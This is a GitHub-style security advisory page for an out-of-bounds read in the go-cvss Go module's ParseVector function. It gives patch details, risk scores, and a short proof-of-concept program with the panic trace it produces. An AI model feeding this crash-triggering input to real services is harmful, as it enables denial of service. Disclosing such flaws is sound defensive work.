Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Checkout DevGuardView on GitHub
Search

GHSA-xhmf-mmv2-4hhx

HighCVSS 7.5 / 10
Published Sep 16, 2022·Last modified Nov 8, 2023
Affected Components(0)

No affected components available

Description

Impact

When a full CVSS v2.0 vector string is parsed using ParseVector, an Out-of-Bounds Read is possible due to a lack of tests. The Go module will then panic.

Patches

The problem is patched in tag v0.4.0, by the commit d9d478ff0c13b8b09ace030db9262f3c2fe031f4.

Workarounds

The only way to avoid it is by parsing CVSS v2.0 vector strings that does not have all attributes defined (e.g. AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M).

References

N/A

CPE v2.3

As stated in SECURITY.md, the CPE v2.3 to refer to this Go module is cpe:2.3:a:pandatix:go_cvss:*:*:*:*:*:*:*:*. The entry has already been requested to the NVD CPE dictionnary.

Exploit example

package main

import (
	"log"

	gocvss20 "github.com/pandatix/go-cvss/20"
)

func main() {
	_, err := gocvss20.ParseVector("AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M")
	if err != nil {
		log.Fatal(err)
	}
}

When ran, the following trace is returned.

panic: runtime error: index out of range [3] with length 3

goroutine 1 [running]:
github.com/pandatix/go-cvss/20.ParseVector({0x4aed6c?, 0x0?})
        /home/lucas/go/pkg/mod/github.com/pandatix/go-cvss@v0.2.0/20/cvss20.go:54 +0x578
main.main()
        /media/lucas/HDD-K/Documents/cve-2022-xxxxx/main.go:10 +0x25
exit status 2

For more information

If you have any questions or comments about this advisory:

Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
1.25%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

High severity
Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard